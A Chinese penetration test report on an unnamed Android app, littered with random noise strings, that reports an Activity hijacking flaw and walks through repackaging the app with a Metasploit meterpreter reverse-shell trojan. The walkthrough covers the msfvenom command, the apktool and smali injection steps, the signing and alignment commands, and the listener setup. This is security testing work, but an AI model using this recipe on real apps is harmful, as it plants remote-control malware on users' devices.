原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

) x) M$ [4 l1 R. y+ P1 i4 y' c

5 m0 M* z) w/ P5 [2 R' V' O% j
- w3 f) q' b/ K+ ]' Q

; t9 Z. k( o; H2 j8 G9 y6 L! j

& w0 F. ?/ i1 Y9 v/ a. r 0 n( n: D8 J& q9 X; Y

# n/ Z* C6 }% J Y. |1 i x5 R0 ^" g 文档编号：                : L7 C' D- ?1 X4 F- `; n2 u1 w 5 L6 `4 W0 Z$ K% ^/ A% [- u5 s

0 M- s2 F: ^' G& j; t / Z3 K+ l8 |& e5 \/ A g" h

# k! P% d& m4 W5 H' u7 {' F : i9 d0 |4 i/ r% T   . i7 ?1 G7 X/ U# y+ z" Z( C) F

, s* ^: U0 J( O1 h2 A% \) U

3 W/ A2 `' p' W" l! e   + z0 [0 I2 C7 x, E& B% M7 c ) u2 g9 j9 Q: |0 A0 {% ^

5 t0 r9 E2 \+ `' c! R% y! p: Q: J : g# L8 H) ~" Q/ ?/ w- k/ Z

' r( ?) \) D5 I2 A: x. |  

% m; a: T' n+ u) U2 |: b   , R |" B2 z9 f) B+ Y

2 ^6 I1 J- c: p8 v: ?6 }

% n8 _5 p$ a s$ Z1 _! s  

! B' \3 L+ }( f8 F

+ n: A% \5 |/ s! A* g8 O 某某某APP渗透测试

! d, B8 M2 P: c( |6 i5 T   . R- }7 o9 H2 C1 H1 [ ( q3 T2 v; b2 h" B

  / p/ C8 ^$ b$ m7 g * R7 U A. h' W) }

: }+ j R9 `7 O

  / ~& e; k4 t: d" x6 C, S. C: K 4 c* @6 T* @( c/ A. _7 a

& t2 Z% \1 D8 \# }1 x; g& [

 

( @* `, Q6 d9 T6 \* H6 I 9 }- E9 S+ R e4 G

2 Z$ F# s$ z9 T. @/ P7 \$ _ 技 术 报 告 $ K; Z$ m7 Z) o- q7 X8 a8 o 0 P* c) C/ W" x# y

5 e- P d# k" d * ]& Y2 i9 u8 K6 ]

. E( s8 J2 a! K  

/ h! w. e. |' f$ r: V9 ] + o' p/ ]6 h" q# \

+ q g7 O* T0 k* I% d i! A f2 i   5 }, w! P+ O" h. j; ~9 U( _

4 e9 }: b% ]! q, [9 I* B   - O5 a& u# P" o, H( ?

4 Y# M3 q. F# h* L3 Q7 x; ?2 ~   & K% v! y$ ^) R0 p; m7 o7 D

6 J) L, p+ F6 z" N) v- x7 X5 u% K  

: O l2 b/ q+ x" w( M7 r* r% m

  0 `1 I2 g" {) b' X( m: g1 ? 2 L- A/ J( }. _

  1 C6 P. ^* @; v& g' J' t

7 C O" S l5 T8 }* y

- l) h0 {% R1 Y: l   0 M; W2 A% H7 p* k% D1 t; w2 z+ X$ ~

4 {9 m7 g0 }- v/ v4 p

, s3 P1 U: \% c- X   & q* S% C$ h8 @$ B2 T

- p! F \: R* \  

+ x% Y7 j6 |8 E8 k

$ |" L( X% A5 q- `# a   ' {( E' T! R" i3 m# P: N

: y- p0 [2 Y$ j  

* X# Q. f7 o* P3 D1 Z8 j8 O/ l

+ A3 E5 E' z# w: c' u2 }1 O1 D' p   1 f5 W' F# G) w9 W b+ G! a( J$ x, c

) M. ]) P4 Q' O7 E. H

5 @- |: s, x6 U   1 A+ [, r8 u) B( P9 Q$ \: M5 Q

; |5 `. h+ j) _0 S4 E' x' f1 x

9 _% x; r, M/ @7 L; _ ) D! K: `( S0 Q   ; d: d0 ?; }, h- g# B

  3 S" T) h" _5 i$ S% m6 H$ b . ^; p) `. ~! V5 K

( ?6 A& [9 |2 L1 H8 A 7 X* ~1 K3 |9 ~1 c' U5 x0 F

# r4 d# E% |' W. Q  

$ x) \4 i- P0 f( b |( V/ S& H- ?; ~

+ z! ?" S3 |2 p8 i   , z4 [. ]/ g; ^7 n3 B4 ?, l# W- ^

二〇二〇年 " b5 f! G B% L6 A" X# V ( @5 \+ x$ g& Q; u: {9 }+ b! |4 g

" E1 r+ f4 o/ f6 N N8 b. @% e # }3 \5 V: M9 v0 L, N* ^

2 i6 X2 _, Z& f3 B$ U

* x( I" s2 i1 q

. T. M' V: N! D7 j6 h: B " O8 F7 x# r0 ^4 b

% h+ u5 w& B' A7 g

' [; D0 z, Q: i3 n% J: d% `4 V% Z 目 录

3 ]/ y n/ q$ O) t! A1 x 0 C; P+ ?, U& A* v / Z% f& h) \: s) E; H

  2 Z/ W, G* h3 G/ W& }. X3 L

+ p7 Y) \# P: M; l& i, H6 s5 r ' e" Z& u% R; S7 m. e. c 1 概述... 3 6 [, J- `0 w2 p" ~2 D4 i( k ( `. i- M a0 ?% g

1.2测试时间... 3 / B1 ~4 i2 @( m; y3 k

1.3测试对象... 3 4 `$ Q9 G" c# [/ X: k) ?# r

- ?: C* @( K. |* @

! G+ h2 B2 t) w, A 1.4测试结果... 3 / \: |" K; R4 }* K- J2 d

" i5 e( _8 l+ t# r* p) A, W 7 r+ |7 r: K& f1 ~

. W2 S( P6 A3 I7 Z; a/ Z. k 2 检测结果... 4

2 h7 |/ L- I# g' w' s ! n) y, |+ J# a+ c3 s1 I5 Q0 S 2.1 某某某... 4 + Z' {9 s4 x* [

0 y6 O0 S. [7 t

. A" e3 j) Y( i 2.1.1检测目标... 4 6 |2 u, }6 ] K5 e0 F 8 q3 Q4 t& _. i; D

3 t1 J+ J N5 y6 \4 u 2.1.2检测结果... 4

+ r7 Q4 T$ o) z6 w

6 F5 ^( y) u% O) m 2.1.2.1. 4

* C; a! H! [! r$ F

: p$ d% W! H: X 2.1.2.2. 6 + p: m1 S; |9 c! ?/ |

$ j& ?" V3 ^9 \: o. h. x$ b

$ \; X) ^' O/ c& n . ?# z0 t9 }* R& X! d, V- Z " `$ K6 _% A" u& e& E

' c( h1 h2 B, ^5 P* x" ]: R! O" Z* ` - H% R$ F8 l, E8 |/ ^ * g( r. J. y; c- E# E

& H' e( l4 A `: U : \0 a. H- q* G- K! w! E

2 d6 a1 D/ y1 g0 r 1 概述 : p* o: r* i3 a4 |" Z$ l, H ; \, N: H% F. B# G. A

- P; I' k- U, j % |; c' A: z) w

1.2测试时间 ' Z5 X4 Y# Z( I0 u+ f, i 0 M1 E) J6 Z. l7 L7 e' L

& p+ n6 f# J$ ?4 K* P) y M* s. {+ T( t f0 u1 b# r7 F" Y3 j5 d$ ]! h. m. s: h) @! y- k$ y0 z* o; ~0 q! x& w! y: X H% L; u0 g) F1 U3 f- D, z+ H4 D L5 G% v9 t% y& R" n" V; k3 @4 Q( v& j C- F8 l3 |+ Q' b9 \& A) g9 f3 L$ D3 x2 g) q1 W4 G( q0 G6 f) `& i0 a% H5 ], ]) n( \; R# A+ L1 K5 L, g9 a" j0 z' ^6 Y: T# q1 r; X- K) Z0 t9 W2 \! ~- S! ^7 a6 d# G# \2 P8 R4 u1 [- o" C8 {+ F, A$ Q# r/ F6 F4 B+ I8 R7 K0 q* i2 J/ t8 G5 N+ A* N/ M+ D3 U- T- P5 [- t) r+ U" Y( ]. O

7 q5 A9 n$ X& e( u5 \* l 渗透测试时间 / V8 V' I+ t7 b ; n# X* O" K2 N& f* Y3 b5 z5 C
0 j; N* p$ \" c) r) } i - K+ B3 g8 p2 }+ O" J, v 起始时间 " K+ {0 K9 E @. U ( K9 b# S( c& x 4 [6 u! s0 ^8 R p9 H4 t	1 a+ _6 s: E0 H 2020年4月6日 $ B0 H( S! X, k0 p/ U+ l , x( g" w: m% l! p7 K 0 x G _+ ~) R+ J, D. P* l$ ~
7 q2 X Z% W. Q( @ ) Y+ R4 b5 ~5 ^2 q! y$ t0 X5 s0 N 结束时间 ( K* e9 W, U, r" h1 s. n	- ]7 P! p. b5 j9 q$ x) H2 \4 I " Q' E, U {7 ?/ Y& O- p+ Z 2020年4月9日 / |! O( o, g$ h+ {8 t 4 |/ @/ k4 v+ b 9 v/ `, k/ Q% B8 a/ r+ I

1 @* t8 J7 \9 _* o i" S

0 y0 ^! x. n$ \2 q 1.3测试对象 0 R! U q# y+ |; Z/ J r# w8 J4 } . d0 d; h$ y4 b2 o' N* U

0 q; L9 i$ x" E' {+ o$ z + }" d) f- H# C- ? 此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示： 1 y: @* R7 w+ y# R- ^% a

% P1 L7 R9 n5 S$ i2 B8 j+ B % N, H; {0 L/ h, D8 c8 N; h

F, v! R n' _ L H8 e 表1-1 检测对象 ' \3 x8 w; x8 W

+ Y; m" b3 t+ V7 z ' {; ~: O' B- @) M & v: j. Z$ G* j2 |- \! k& |0 h( Y7 P0 V0 F6 ~5 [$ I! y& Y) |: }2 s* z9 U( K8 \4 D( y j4 @. M4 n0 ~% a* P0 B$ A; h1 U& a0 V5 q! e, q* t1 \% Z/ m9 D7 t2 b+ Y* `+ h4 j- }5 E, ?, j1 s3 `- n# W( Q; d8 T) K/ b+ W0 |) u4 Y9 R, j* ?' x8 f$ i% O4 j* [0 k5 B5 l/ D& \$ D) x d! J2 `5 N* _. m3 V. L1 \9 Q

7 }; b3 Q6 _8 u/ J4 H6 B2 n" [% ? 序号 - p$ E1 o" Z- J . E" p- W2 O/ M1 N6 h- p$ _" y4 q	. N; W/ G- \( N+ Y8 z1 T# l) ^ 3 {7 b& E2 T" x 测试对象 4 r# G4 e6 G7 _ m/ q9 a; s * H8 L: z3 ^6 Z2 g6 u; k! S3 f . D" ]3 h' Q, B. S [	5 s! Y& V4 D, F - n$ r% Y3 c! l/ Z' j- z) L) O2 v3 o & b- @' F f$ r/ v+ ^9 Y 测试地址 4 k- n9 \, C! A( C( c0 z9 j0 B" H * l0 @$ V/ k, `) {	, t8 C2 N) e! H' n" Z8 } W 安全漏洞 ' |8 }6 {. {" M2 ^: [7 g 1 e; W3 z/ g5 D- B; e) T$ I 1 h8 Y# |: i$ t8 w* `
0 B# U/ ]6 g: @6 ~" X) O1 y 1 % n$ Q3 y$ G& S " _, y$ m% O) v3 z+ Z ! ~2 \: W2 N o8 p " m0 l! c; k6 G/ w	r+ Q3 @5 G- m8 C% o 某某某安卓APP 7 z7 h( @4 G6 R: h ' K1 Y( u( L( w	8 Q/ g7 h& d3 ]3 I : T, t# h J" u2 {+ I 7 m" F$ X6 C4 m0 V) _4 _8 J% [   2 c0 w' g& e8 S Q 8 P9 q* {; L- V0 E+ T	8 R3 t+ n% P4 ^% n( j3 h6 J% D: o- s 6 z7 d8 P+ q+ i" D 2 2 t7 c" w% f! h5 ^ `. j# n. H

* V+ B& |4 g0 F) p2 c , G8 f5 W4 }# X+ v7 ]* ]! @3 L, K

1.4测试结果 1 p( W" k, b; v ?$ w! [5 u9 x

; S5 f6 s/ ]* P# H- Y0 C9 [: F # u) B/ t6 Q9 Q4 b3 L

. B- ]: E& S0 ^- `6 V 在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示： 0 l7 x. t0 C# m

5 ~5 Q* @5 A o( f. I

; L0 r# {1 |& \* x; z8 I7 E0 P, @9 M  

: U5 |* M. E+ b

7 H! n5 t. f$ i- v4 w ' N* w! t H- L. d, D3 \0 D7 P3 N( P$ O; j+ E7 H% k) |. \! G X6 P6 M5 X: ^8 D. B' ^) Q: i2 E( a: T* ?& H' W$ F. }( \# G" {; p+ @; E8 e& h1 y2 }' N% J/ o. u/ X% T* ?( z# N2 p& h" n# g7 u7 p; b& L. [& g7 @9 u! i" z- s- m/ x) s- L* W& i! w o: u0 b$ q; e# ?; Q5 s0 s; \* |8 q. V& j; ?% L7 \2 U4 g$ s" U4 E; N! C/ `* J& M6 v$ [! D- \; X3 `1 S8 ]2 B3 V- z6 @' ?; t; @; b, r, y1 J: E# h- u' r% @& M% o; ?- C; M" ^, G1 \& N. P4 ?5 Y' _5 |% e8 s! ] e/ r6 `6 d" I7 Z3 Z) V/ `- K. S& ?! E' H4 a4 h, O2 j1 a) Q# Q! v: N5 H1 y- [/ s7 Y5 i: v( ^# |& |- c7 K# P+ T4 C j. M, }7 T! A) z* S, G5 N$ }7 ~0 T) R; r9 m2 K7 @( {- x0 t& [# g0 W0 O* J! O7 j& ^5 H" t( U% \! u# p; D2 W3 M& ]. b* E

0 K5 j9 L5 P9 `' H0 L B 4 `2 b% t/ ]( {. y! ^ 序号 8 N, J4 c9 k1 t8 u, K% }. W 2 E1 V/ Y( u& h, E( S Q	% o4 H- w; g4 m; m- n8 h * s! Z, G$ @ I' l1 N: I4 r1 }+ K, L+ u 系统名称 $ O+ r- n* E% b# }( a D# q K+ A, R5 [1 r, i 5 [& d. p) J4 |	5 b' x! |: q- m5 V X 1 P# L4 ?, \7 p3 x1 J! @8 V+ P 漏洞名称 $ A: f4 O1 y6 J" a8 u	) M$ k. _5 x4 m$ c; Q' H8 Y % k' y- X2 \9 Q5 l4 e! E % K/ ^1 l. G6 u$ k3 h. Y % \* k( \8 Y; M d$ `9 S 漏洞危害 3 x- @: H4 `# E. J 0 b0 ^+ p# b, l" n+ Z9 Y	; ` c {3 e: ~( _3 g# K. I" D $ |6 [' Q/ q1 N) s9 F# o$ C ) f1 C* E! A3 ^* e6 i! K 修复结果 # |4 f/ @' P; ~$ t5 p( V + `) z* ]. |0 m3 a, Y& ?
! Z# I* X! F8 T3 }8 p" L 7 l7 d% B' n7 c 1 9 H7 P. ]2 R8 w5 j r5 l	; T1 _0 _; `6 J8 G8 C 某某某某某某APP	) n3 ?, W/ { n3 v! R6 X1 F Activity 劫持 * |; {' _: m: i$ G0 o2 _2 y0 ~ ! Q2 \$ I0 J+ W + ]0 p1 l& Q( F, Q7 h- J   2 ~5 h. p5 e2 c3 n' |0 @' S# @	! T' @" F9 g r: M+ q8 W6 b 高 $ e g# W( ?9 l6 V$ Z; C% F: ] 0 X- k+ [) i# u% [! O: Z5 z4 a5 X9 N	9 O+ C9 N+ H8 c' s* P1 p7 a : o& W, y, w" Z+ F 7 |/ p: K/ w5 r# Z! y3 t, O! E `% d5 d! G( m/ V5 P   $ F% L2 {# n: E- I4 Q. r ) A0 Z8 n# h' C2 J
$ o$ m/ M- A" n. \* F 2 5 d7 T; O) f' v	3 G8 c$ e& L% P% {+ o. U 某某某某某某APP , q1 A; o r ?" i: P	3 B0 b9 ^% C+ |( I* ^8 L 2 B! B: d# l* R; B/ ~ 反编译二次打包捆绑木马、篡改APP代码 - i! n# Y4 T5 X) q. k) _ , O/ C9 i9 {) `+ g* D; H ( d. V# @; n D! Q ~) {. Z( r	* @) u4 h4 E- V. m$ j* f: c. h / U; J+ H: ?% W& j$ W* W: ^- C ) u, S, B1 s- q) S* X b9 y9 c5 [9 E7 Y 高 t( U0 z1 [0 b- @1 r	. s- T/ W7 M9 K. }' `! ^0 k0 @ * b5 L# d; r3 c$ r v 5 W+ h2 J% G0 N8 v% [) I$ J   7 q# Y; L2 L" I# q8 U, E R9 q, n0 n2 o# c& J ' X @7 E" x6 Z% v; @3 ` W

+ T1 U" f& z7 ~7 U" f& S Y

0 y0 o3 ^. X$ k4 i! l* v

( G" f5 {1 ~/ r( M: d3 r0 | ?' D ; F" I, K; C: m& K3 ]7 i3 S4 a& ?$ G   6 z7 [' m6 y: ]2 T

0 i8 N4 s7 ^, N( ^, T: Q9 Z6 o % i, C3 N8 E L! x w 表1-2 测试结果 - t" m7 s4 l% C & s, G6 V* [. U& g" C5 P: K; P

, q: m0 M% u% Z; d0 A8 G

2 {6 }) |4 I' ~. T& v& O5 o 6 L& Y/ V6 s, M: H4 v, W) {   + w% I' e/ c3 ]# Z7 t

/ [6 k6 E% e- ]7 N5 ` g : C; H; ? r2 n7 b

?( q2 N6 W$ [/ g- w- h 2 检测结果                   

$ |) a r. f) x) ^1 o' x( K; { S8 F* l6 x3 v# Q1 c+ V9 k0 t 2.1 某某某 + ?5 N5 j' i! A2 R

# O: u& t+ ]" U$ o. n9 q& J - @, Q- o/ Z8 x+ v

7 Y M0 q! H4 Q( i 2.1.1检测目标 6 |% m* w+ a" C- n / w* t! S& j" H' l `

! @: r4 W5 U# _. F ' w4 y8 ^0 m! H4 L0 U5 g 目标地址： 某某某某某某APP

4 i% r0 o# ?2 o! ?7 Y

s a, n0 `" q# O & \7 D& U6 p4 A8 A 2.1.2检测结果 , `6 A( A8 n6 H8 j8 ]% r- X

1 J5 N( k( j, I

2.1.2.1 & ]. v( A( d! f+ W5 M

* g! f0 a \0 N( g# Q* \7 f+ @

% U! D: y* W- {2 A) Z . N: [" c9 } @ 漏洞链接地址：某某某某某某APP 0 }+ Q: f/ D9 O0 T" n - K, X9 {* G4 d6 {

' A i/ v5 q7 Y6 a

) V+ I# Z; n: H% ~. @2 N$ e7 Q5 u; }. ]   + N. |1 V( w/ [7 J3 i

漏洞分析及取证： * Q2 @3 B( r. B" Y8 W d4 s

# M: L S4 J8 G7 V

: Y+ Z4 f5 n+ s) H( ^& H' }                  通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图： ! p* g+ L, Q# `4 p, j; [6 ]

; a" u6 E3 x4 K0 G; c) }+ ^

    

4 h, p B% u: }

- m4 `6 l8 @4 g& Q/ \                       : y8 m: Z& K2 J% A! H & i: [2 D. U: B- ]3 n) r

7 `" C! G3 {4 H- ]

0 E; W, K1 V1 |( `: K 4 ]9 n* _! j5 e

1 w# C9 c; e5 t' e. \ l; r' I

$ |8 e5 y9 E4 ~/ z3 S/ o! R

1 Q, |& T- w; ~9 M) V7 _( r 9 ]5 Y2 C2 R9 \2 F6 ^# M" T

' j7 E( k8 D F" J 漏洞危害：高 + ^0 u) V! D' w( J4 o1 U7 | 7 Q }+ D5 L' ?" Z7 b: ]6 K

. Q8 X; ?( D$ t* @' n6 T6 c

$ R. Z. t) m; e# T ' `' f" Z( z5 ]5 y5 Z( ?5 Z# \" K9 x3 A' ?- O% C/ O* E' ]' L( t' y- c k, ?# f! b. C7 ~2 @( d# g- @, e+ X3 t4 U; X8 u# F) e' g$ a4 Z. f, Q9 `& |% j; m1 n1 M" ^8 x+ c3 @# \- f \7 q8 S( G% j, Z- h- C' P3 O) K, |; z' d3 V( T8 q* d5 [3 z( l3 s. k- N; g4 \ J/ ]/ y) }% C! L

6 v4 J' I1 D E! U; ^/ T4 ~ 1 w$ T" K+ U/ f; a 严重程度 + j: _7 J X5 p5 x4 C ( ]* w5 s# J( x b& w2 Q& `: }4 L 2 V: S( g' B0 ^7 O9 k$ U6 @/ _	9 z& T, r4 i! t7 v- j 1 P3 T! d% a9 o# E # j; n: _9 J' k/ r/ A$ u: ]: o 高 / X5 q% Q9 [; ]: @( ~7 h* @, v8 i	■ . s* y4 b) _6 R4 }2 T 8 |7 e( {9 L0 i( a2 n( `" o. x7 t	5 p5 S3 q& ^& u$ ^ 6 e/ W* P2 M7 O" g 6 T# p* V- V8 J' `0 {) G 中 * G* _8 ~% J* z* E1 N7 | 5 i- S) _0 }( l6 H	3 y3 T4 O: l- U) X6 ? % `8 l1 {9 b& O6 H& {3 _, @+ w	+ Q1 C8 G* _+ E/ M2 Y% q , p0 t: C& q' e* G2 L 低 % t+ m7 U2 n1 _% i; ?1 L / R! V: [0 \, W	( ^" e! b# ~7 z% u( V% t9 f) t3 S   ' L* Y' p4 ?! U+ L* @7 B

1 T6 T2 C0 N+ m8 K6 o

/ Z4 n% `1 u3 S0 t& F& p   3 f; C/ D$ d5 | + b8 P2 M/ m$ m* n/ c2 P f

7 [" K/ a9 G2 Y- ]2 \: T% d

2 P/ h# R3 m+ s9 o& w7 l0 z 修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。 " o: A# S8 l' q9 Z/ E) j $ o) ^1 r, Z7 ?& t2 {) {" @& l

$ S" N% z- g. \& d& }

. v: z N1 S0 V% G0 E& a          

, |! U5 A) s: w" m8 s8 G; M: d 9 Z+ t n( G. t, ~ A4 y/ }7 x   ; x5 h, y$ V! l

' q( Z: D4 ^; P

v# c' G& \4 s/ E. A 2.1.2.2

5 E1 x2 K% F7 N

2 n( l7 N4 l$ U1 B( {; _" [ 漏洞链接地址：某某某某某某APP

$ G: B# z9 r. I) B

7 }4 A* l4 G1 S) Y% U% D' { 漏洞分析及取证：

, w- W/ E- L3 y9 l9 G* g8 i4 @0 V& H' F 6 a5 F: V: ~- \7 `2 S                  通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下：

. Q, r# o: T- c5 s4 i $ V$ I* D& G3 _7 p( {. _

用Metasploit 生成木马 apk - G% Y+ n" c9 \' T: i2 N# T6 c8 g; q

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk / c1 p3 {, w3 w- T) N, w

; X" x% K8 s: i/ ^) }% d

6 L" {& t) s3 t$ h8 ] O8 p4 x) e 反编译目标apk和木马apk

apktool d target.apk
- L0 Q8 N7 A' E: S2 S5 D2 ~ apktool d cockhorse.apk 5 z7 T( c7 V o1 D$ k( p0 Q0 |

% u9 ]% \) j ?6 V 木马 apk 注入目标 apk " {0 d: a& v& H2 x. ]% {

" p8 A. K6 f6 q5 U. ^ - A6 e+ H' d" ]7 s0 R3 p

; x7 X5 F- U; w6 W. ?5 O 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 8 `+ V4 a/ U5 S : y: N9 X6 W3 B. {* Q

9 ~6 X3 q: w: u0 X1 q

- p- X) q% K- d - V$ _) L6 e; L 将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下 7 `8 z4 s: T7 m: e4 t2 y# b

7 r9 u7 V1 I) w' W. F, s, |8 k# i/ ~ 回编译生成最终 apk ! {* S3 H( y. L8 M S

# A3 N! W7 y# S9 e) ~ 重新打包 # \6 e) ^* k S4 y' k # p% s7 p) l4 `8 N, Q9 ~

3 e4 B3 D0 A+ `" m. Z7 K: A$ z ( i4 n5 }: v' r- ^

5 f8 b4 ~- Y9 D1 \9 b - w/ V8 N+ ^4 Q6 @$ F apktool b -o repackage.apk target_app_floder " c; R3 g% v+ \8 L8 |! t: g3 n

; B& v. o; q' q r s, ] 1 z# ?0 G q4 z- o f5 e

& v' T* _, p' L' o3 c/ S( q 创建签名文件，有的话可忽略此步骤 - ^% H0 u% t5 r8 M/ ^' r 5 L) V% a3 M3 p- d* ^( ^

, g2 P& G9 z1 U) c5 q# v+ T " X3 I" A3 J' m; Y5 R% i

0 \9 h- B [' [) }4 @ keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                $ b" k C% P$ K8 o5 K; \' m, a9 ^

! p$ U, ?4 [4 P) k O. F

$ k' d6 B( s2 h 签名，以下任选其一

jarsigner 方式 % c5 N9 |+ n+ K+ U5 S* p' L . o7 h2 {. r# h

8 t+ c3 e' G- P3 n

3 i! D: s, |, x- K jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname

+ e Q! ?5 s7 P$ q+ d9 j& k+ l7 ^' u

' U& U1 ~( a% H/ n- w ( ?* N0 ?% K' @6 |; q apksigner 方式

+ Z, r1 g5 k' p5 m! w

3 ]" m: b: L8 K0 R apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 1 g) W5 T7 U8 k9 J; A( c6 ]4 b . L7 T1 U2 d+ Z9 D% J$ V

) `+ `5 o$ y* ]5 u% ~! R+ n

如需要禁用 v2签名 添加选项--v2-signing-enabled false & T d# i3 X) [8 X) p2 t

k' } B( c8 b/ D! z y4 l; ? 验证，以下任选其一 & h+ z; C% C1 c/ {2 Q6 F3 k4 { y : V8 g+ R" e2 c. K

, O1 U9 U: F x8 \5 K : t2 M$ r: E' ^$ b+ r9 V* J

0 X! m# A9 m& K7 e+ _0 s* @ jarsigner方式 $ b; a3 ]0 z& r" p) T , @2 h+ J; d; G r$ O

1 W+ `& j) ?1 w% q) S

- t4 c: q/ n. K2 o8 Z3 X. K( q4 z) t ' S6 O( z% F' G3 L3 u0 \ jarsigner -verify repackaged.apk 2 x4 G# }3 ~, }; t' o+ h! r4 o. C

+ v# g6 h1 z6 j: z) r- f

apksigner 方式 ( U j0 B; U- J7 D% ^4 R( h

+ W c0 |. Q- z, E& L% ~ " P1 b& ?! a+ X. W3 x

% r$ \; v) N: U3 I2 J apksigner verify -v --print-certs repackaged.apk % F' X! |- y1 ^( T 7 e* X+ P, w7 N! N5 p+ |

8 y; n2 D9 T5 a. J( c( ] $ Q0 ^& ` L* i$ p* L N keytool方式 / m* |+ t! j, s$ x

}$ G: u7 s. ]+ h" b2 a/ j! ? ' Z) P" Y1 I* G' T" W' M; f) ?& |8 _

7 D1 a y. ]0 L* V' _( E keytool -printcert -jarfile repackaged.apk " e; g9 Z, V3 f( \. p

. H) v) z, c/ U" c! H 5 L1 a1 r' t! W3 Z0 ^

对齐 : j& R5 d u7 e2 `$ ~8 w9 g% E 8 E- p7 Y: ~( V

, F% p0 l8 s5 X: ]. N

& g. b# a7 q! h, ?& s- d 字节对齐优化

: `) \( Y8 f7 V* Q. L zipalign -v 4 repackaged.apk final.apk

& p5 D: b1 I" c v' n7 } 8 o% a0 z2 L. \; _, i, y 检查是否对齐

* d0 G! H+ C$ a& `3 P3 D+ R; }

zipalign -c -v 4 final.apk 1 D( r! Q! M0 K

9 ^9 y; i3 G2 R6 W2 M

+ [+ E6 m3 A" E+ Z, [2 Q% x: } ( l& X1 @1 M2 G( z2 n4 ~- K/ C 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行 # Y, I( [0 z# K 7 M8 m, @7 Q2 P- B3 y5 ]

' ?4 ^$ `5 w6 C. k/ G5 V. v' w' l 启动Metasploit控制台，配置参数等待上线 8 v& l! o- o, N, }3 O' F w

* o8 _" `0 Q" p" Z! l / k# B1 z i) F

2 N" [) b. ]3 `- |& L& e 在终端依次输入如下命令 $ [; h1 {( x% e6 U, {% ? / ~% J- U; Y6 |9 Z$ ]5 [% j. _, }

7 I+ t( ~( v' a& K , h! [" ]$ b7 s3 u& ~( i

' l3 R, p; u8 g, r7 q# l 6 p" y2 Y {1 y0 |' z msfconsole 2 t. ^; z# }' m0 @

& z* a# h, I5 `# u! |; h

. t, l4 P. k% e2 @$ k9 {1 w& o" B % S0 d u8 }8 K" I% K+ _; a use exploit/multi/handler

3 L* _) a# }- x3 i4 W# x5 M$ [ 2 T: @" I. C- G

8 |1 ^2 f# d# Q4 |$ G- o; [" j5 @ set PAYLOAD android/meterpreter/reverse_tcp

r4 k6 h2 I- ?. Y0 K) l \0 v" N7 g

3 B( u. `2 q5 U+ d: d ! M. @3 o ^7 Y5 R5 T set LHOST 192.xxx.xx.xx : @' |1 z2 H& M7 h/ @! l; g0 G ; D: I+ n; v1 C. Y O

- i6 P& K/ J5 \" R : z( i2 z; H7 |# H2 [ t) l7 ?

set LPORT 4444

* O! o9 h9 n# w* G

# z" e/ v0 p& g w- ~; ~2 j ' a. I! o7 D! ?* I- l exploit 5 ]6 O& l% E- r2 s P, M2 u5 T; S8 u* V# e( r+ \* s

9 @+ E1 d3 Q) N& Q6 c" `# e5 ` 之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：               ) |3 a# E. E+ R0 t7 z 9 P* G' x: ~0 x

$ W- Q% `# @& C9 b

5 `9 a6 e# O% E! j$ P : v" M3 V4 z$ @* s& v6 s, @ 漏洞危害：中 6 g/ q! `9 r# z' o- J% c$ c

+ s0 i& }0 d# E* f- V0 t# t 6 U. l. y2 \& H) B4 f6 K5 _/ M3 [7 t 3 }. P: O; Q9 G l: y, n' E2 S/ B! y) U' [9 T+ i" q+ f) O: p @/ M: D! q# `, K' U& t/ b2 \; e" k0 b) A# _4 h8 [ u8 _ _! J5 M, X; o. {! Y1 p+ @6 |: I$ a/ i8 A5 Y: d. z, C* N5 U6 U! m8 v1 ?" t+ O K- X6 u O" B" F3 P& i+ m, z3 J, g: g% A2 V) l8 o. P

7 p1 T8 u3 l+ `8 v, \$ ^( O, j # Y: M( k- j7 d& z5 B 严重程度 ! f/ m* Z: x; {6 A1 P6 | 3 M2 `$ e+ m/ E# n7 e	# j& a& i+ |) z; _; ~ ) k- \, g9 z! L# D8 l8 Y3 s ! T. \2 H% D4 Z3 @' O0 \0 d ! w. q; c9 W: z0 f* b, e. y2 G 高 a0 X8 p1 }: W; R, i: O6 N4 O	4 |0 c" m3 V1 O- q5 ^2 n 4 j: _- n- ~ v4 w6 E% v3 @2 Y9 T : w9 Q' z) P |' E8 p ) {' W6 z3 T* Q/ [. g ■ ) ^1 U$ x5 w% J/ q G + ~# ?3 \( G$ k* J/ g' p	0 e; I( e6 Z: m" J! a 7 ~# c+ X9 R- A! |4 v. }/ H 中 / Z8 ?2 a% G) p9 x+ v - d' Q8 Z7 p+ B$ k; A . w7 L1 F5 ]' n9 D. q	+ Q+ S( \5 b" I* B$ D$ I / Y3 {$ B' `) S' Z. o0 }% n 3 G; G, s) z0 }0 b+ V8 }   ) Y3 g. n# P, i- f! ~$ _; q 9 H& {- a- v, r. W- X% l6 _	+ H) d8 V5 F: p8 S 7 b& i# A2 e2 c* p7 T 1 C6 \- }- i+ k5 S* V 低 5 q3 I, V) ]% R$ Y$ Q' T / [8 U( m' }" T8 h 5 b4 F8 x) m- d1 ? g4 E Y$ _8 `	7 o s( c: q- @0 ` z: L * {3 o* h1 